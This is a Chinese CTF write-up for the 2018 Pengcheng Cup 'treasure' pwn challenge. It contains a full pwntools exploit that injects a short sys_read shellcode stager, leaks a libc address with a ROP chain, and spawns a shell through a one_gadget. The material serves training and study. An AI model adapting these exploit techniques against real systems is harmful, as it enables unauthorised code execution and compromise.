鹏城杯_2018_treasure
鹏城杯_2018_treasure
首先检查一下保护:
IDA分析
我们先来看看settreasure()函数
申请了两个内存空间,并往sea中复制了shellcode
看看这个shellcode,不知道干嘛的
我们再来看看第二个函数
读入一个长度小于等于9的shellcode,和我之前做的铁人三项(第五赛区)_2018_seven很像。
构造sys_read注入我们的shellcode
shellcode = asm('push rsp;pop rsi;mov rdx,r12;syscall;ret')
#sys_read注入以下的ROP
rop = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])+ p64(0x4009BA)#treasure()
之后再来一次ret2one_gadget ,感觉跟第一个函数没啥关系。
from pwn import *
context.log_level = 'debug'
context(os='linux',arch='amd64')
p = process('./2018_treasure')
elf = ELF('./2018_treasure')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
#gdb.attach(p,'b *0x00400AB6')
p.sendlineafter(':','A')
shellcode = asm('push rsp;pop rsi;mov rdx,r12;syscall;ret')
p.sendlineafter('start!!!!',shellcode)
pop_rdi_ret = 0x0000000000400b83
pause()
rop = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])+ p64(0x4009BA)
p.send(rop)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
one = [0x4f322,0x4f2c5,0x10a38c]
one_gadget = libc_base +0x4f322
ret = 0x00000000004006a9
p.sendlineafter(':','A')
shellcode = asm('push rsp;pop rsi;mov rdx,r12;syscall;ret')
p.sendlineafter('start!!!!',shellcode)
pause()
p.send(p64(ret)+p64(one_gadget))
p.interactive()